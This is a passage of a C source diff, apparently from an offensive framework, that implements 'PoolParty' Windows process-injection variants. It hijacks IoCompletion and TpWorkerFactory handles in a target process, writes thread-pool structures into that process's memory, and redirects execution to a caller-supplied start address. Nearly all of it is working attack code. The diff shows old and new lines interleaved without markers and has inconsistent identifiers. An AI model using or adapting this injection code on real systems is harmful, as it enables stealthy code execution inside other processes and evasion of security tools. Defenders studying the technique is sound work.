BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) {
if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
@ -186,7 +206,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
}
if (dwDestinationArch == PROCESS_ARCH_X86) {
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86) = (DWORD)((QWORD)lpStartAddress);
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86 - 4) = (DWORD) PtrToPtr32(lpStartAddress);
}
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!RemoteDirectAddress) {
@ -195,43 +215,85 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
}
ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
dwResult = ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult);
dwResult = 0;
}
} while (0);
return dwResult;
}
DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
BOOL bError = FALSE;
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
ULONG dwInformationSizeIn = 1;
ULONG dwInformationSizeOut = 0;
pNtDll* ntDll = NULL;
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
HANDLE hHeap = GetProcessHeap();
WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };
do {
ntDll = GetOrInitNtDll();
if (ntdll == NULL) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
}
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE]) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
}
hHijackHandle = GetRemoteHandle(hProcess, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS);
//DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerHandle) {
// BOOL bError = FALSE;
// HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
// ULONG dwInformationSizeIn = 1;
// ULONG dwInformationSizeOut = 0;
// pNtDll* ntDll = NULL;
// DWORD dwResult = ERROR_POOLPARTY_GENERIC;
// HANDLE hHeap = GetProcessHeap();
// POOLPARTY_INJECTOR* pLifeguard = NULL;
// HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
// do {
// ntDll = GetOrInitNtDll();
// if (ntDll == NULL) {
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
// }
// if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isInjectionSupported) {
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
// }
// hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
//
// if (hHijackHandle == INVALID_HANDLE_VALUE) {
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
// }
//
// if (hHijackHandle != INVALID_HANDLE_VALUE) {
// PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL);
// PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
//
// PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
// ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, hEvent, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
// SetEvent(hEvent);
// dwResult = 0;
// }
// } while (0);
// return dwResult;
//}
if (hHijackHandle == INVALID_HANDLE_VALUE) {
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
}
//DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent) {
// BOOL bError = FALSE;
// HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
// ULONG dwInformationSizeIn = 1;
// ULONG dwInformationSizeOut = 0;
// pNtDll* ntDll = NULL;
// DWORD dwResult = ERROR_POOLPARTY_GENERIC;
// HANDLE hHeap = GetProcessHeap();
// WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };
// do {
// ntDll = GetOrInitNtDll();
// if (ntdll == NULL) {
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
// }
// if (poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isInjectionSupported) {
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
// }
// hHijackHandle = GetRemoteHandle(hProcess, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS);
//
// if (hHijackHandle == INVALID_HANDLE_VALUE) {
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
// }
//
// if (hHijackHandle != INVALID_HANDLE_VALUE) {
// ntdll->pNtQueryInformationWorkerFactory(hHijackHandle, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);
//
// ULONG WorkerFactoryMinimumThreadNumber = WorkerFactoryInformation.TotalWorkerCount + 1;
// dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WorkerFactoryInformation.StartRoutine: %ull", WorkerFactoryInformation.StartRoutine);
// ntdll->pNtSetInformationWorkerFactory(hHijackHandle, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG));
// }
// } while (0);
// return dwResult;
//}
//
if (hHijackHandle != INVALID_HANDLE_VALUE) {
ntdll->pNtQueryInformationWorkerFactory(hHijackHandle, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);
ULONG WorkerFactoryMinimumThreadNumber = WorkerFactoryInformation.TotalWorkerCount + 1;
dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WorkerFactoryInformation.StartRoutine: %ull", WorkerFactoryInformation.StartRoutine);
ntdll->pNtSetInformationWorkerFactory(hHijackHandle, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG));
}
} while (0);
return dwResult;
}

View File

@ -1,14 +1,26 @@
#include <windows.h>
#define ERROR_POOLPARTY_VARIANT_FAILED 3
#define ERROR_POOLPARTY_GENERIC 1
#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 0
#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 1
#define POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE 2
#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 0
//#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 1
//#define POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE 2
#define POOLPARTY_TECHNIQUE_COUNT 3
#define POOLPARTY_TECHNIQUE_COUNT 1
DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerEvent);
typedef struct POOL_PARTY_TECHNIQUE_ITEM {
BOOL isSystemSupported;
BOOL isInjectionSupported;
DWORD(*handler)(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
} POOL_PARTY_TECHNIQUE_ITEM;
typedef struct POOLPARTY_INJECTOR {
BOOL init;
POOL_PARTY_TECHNIQUE_ITEM variants[POOLPARTY_TECHNIQUE_COUNT];
} POOLPARTY_INJECTOR;
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch);
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
//DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
//DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);